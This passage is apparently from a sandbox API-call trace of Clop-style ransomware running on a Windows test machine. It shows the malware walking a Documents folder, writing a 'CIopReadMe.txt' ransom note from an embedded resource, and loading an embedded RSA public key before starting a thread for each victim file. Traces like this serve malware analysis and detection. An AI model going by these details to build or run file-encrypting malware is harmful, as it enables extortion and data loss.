lpString1="3B2V8p-DhIekN7FYAT.docx") returned="3B2V8p-DhIekN7FYAT.docx" [0092.107] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460 [0092.107] WaitForSingleObject (hHandle=0x460, dwMilliseconds=0xffffffff) returned 0x0 [0092.175] SetErrorMode (uMode=0x1) returned 0x1 [0092.175] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt") returned 85 [0092.175] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.176] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0092.176] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0092.176] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0092.176] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0092.176] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0092.176] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x45c [0092.176] WriteFile (in: hFile=0x45c, lpBuffer=0x62c5e8*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc3594, lpOverlapped=0x0 | out: lpBuffer=0x62c5e8*, lpNumberOfBytesWritten=0x2dc3594*=0x759, lpOverlapped=0x0) returned 1 [0092.177] CloseHandle (hObject=0x45c) returned 1 [0092.177] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.177] lstrcmpW (lpString1="5qiwP0Jfq.pps", lpString2="..") returned 1 [0092.177] lstrcmpW (lpString1="5qiwP0Jfq.pps", lpString2=".") returned 1 [0092.177] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned 75 [0092.177] Sleep (dwMilliseconds=0xd) [0092.200] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.200] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="5qiwP0Jfq.pps" | out: lpString1="5qiwP0Jfq.pps") returned="5qiwP0Jfq.pps" [0092.200] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c [0092.201] WaitForSingleObject (hHandle=0x45c, dwMilliseconds=0xffffffff) returned 0x0 [0092.641] SetErrorMode (uMode=0x1) returned 0x1 [0092.641] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt") returned 85 [0092.641] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0092.641] CloseHandle (hObject=0x458) returned 1 [0092.641] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.641] lstrcmpW (lpString1="fsxQuEAvOd0El-v.pps", lpString2="..") returned 1 [0092.641] lstrcmpW (lpString1="fsxQuEAvOd0El-v.pps", lpString2=".") returned 1 [0092.641] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned 75 [0092.641] Sleep (dwMilliseconds=0xd) [0092.669] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.669] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="fsxQuEAvOd0El-v.pps" | out: lpString1="fsxQuEAvOd0El-v.pps") returned="fsxQuEAvOd0El-v.pps" [0092.669] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458 [0092.670] SetErrorMode (uMode=0x1) returned 0x1 [0092.670] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt") returned 85 [0092.670] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0092.670] CloseHandle (hObject=0x468) returned 1 [0092.670] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.670] lstrcmpW (lpString1="gl54xs.odt", lpString2="..") returned 1 [0092.670] lstrcmpW (lpString1="gl54xs.odt", lpString2=".") returned 1 [0092.670] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned 75 [0092.670] Sleep (dwMilliseconds=0xd) [0092.685] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.685] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="gl54xs.odt" | out: lpString1="gl54xs.odt") returned="gl54xs.odt" [0092.685] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468 [0092.685] SetErrorMode (uMode=0x1) returned 0x1 [0092.685] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt") returned 85 [0092.685] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0092.685] CloseHandle (hObject=0x470) returned 1 [0092.685] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.685] lstrcmpW (lpString1="h8IhXzO4v.csv", lpString2="..") returned 1 [0092.685] lstrcmpW (lpString1="h8IhXzO4v.csv", lpString2=".") returned 1 [0092.685] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned 75 [0092.685] Sleep (dwMilliseconds=0xd) [0092.704] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.704] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="h8IhXzO4v.csv" | out: lpString1="h8IhXzO4v.csv") returned="h8IhXzO4v.csv" [0092.704] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c [0092.704] WaitForSingleObject (hHandle=0x46c, dwMilliseconds=0xffffffff) returned 0x0 [0092.794] SetErrorMode (uMode=0x1) returned 0x1 [0092.794] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt") returned 85 [0092.794] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0092.794] CloseHandle (hObject=0x464) returned 1 [0092.794] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.794] lstrcmpW (lpString1="HpvWb5EHtTvn89.pps", lpString2="..") returned 1 [0092.794] lstrcmpW (lpString1="HpvWb5EHtTvn89.pps", lpString2=".") returned 1 [0092.794] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned 75 [0092.794] Sleep (dwMilliseconds=0xd) [0092.819] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.819] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="HpvWb5EHtTvn89.pps" | out: lpString1="HpvWb5EHtTvn89.pps") returned="HpvWb5EHtTvn89.pps" [0092.819] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470 [0092.819] WaitForSingleObject (hHandle=0x470, dwMilliseconds=0xffffffff) returned 0x0 [0092.873] SetErrorMode (uMode=0x1) returned 0x1 [0092.873] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt") returned 85 [0092.874] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0092.874] CloseHandle (hObject=0x464) returned 1 [0092.874] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.874] lstrcmpW (lpString1="oGyow62Ehp.pdf", lpString2="..") returned 1 [0092.874] lstrcmpW (lpString1="oGyow62Ehp.pdf", lpString2=".") returned 1 [0092.874] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned 75 [0092.874] Sleep (dwMilliseconds=0xd) [0092.887] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.887] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="oGyow62Ehp.pdf" | out: lpString1="oGyow62Ehp.pdf") returned="oGyow62Ehp.pdf" [0092.888] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464 [0092.888] SetErrorMode (uMode=0x1) returned 0x1 [0092.888] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt") returned 85 [0092.888] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0092.888] CloseHandle (hObject=0x478) returned 1 [0092.888] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.888] lstrcmpW (lpString1="Q0WDNI_cEJvL.pdf", lpString2="..") returned 1 [0092.888] lstrcmpW (lpString1="Q0WDNI_cEJvL.pdf", lpString2=".") returned 1 [0092.888] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned 75 [0092.888] Sleep (dwMilliseconds=0xd) [0092.904] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.904] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="Q0WDNI_cEJvL.pdf" | out: lpString1="Q0WDNI_cEJvL.pdf") returned="Q0WDNI_cEJvL.pdf" [0092.904] lstrcpyW (in: lpString1=0x2dc3b36, 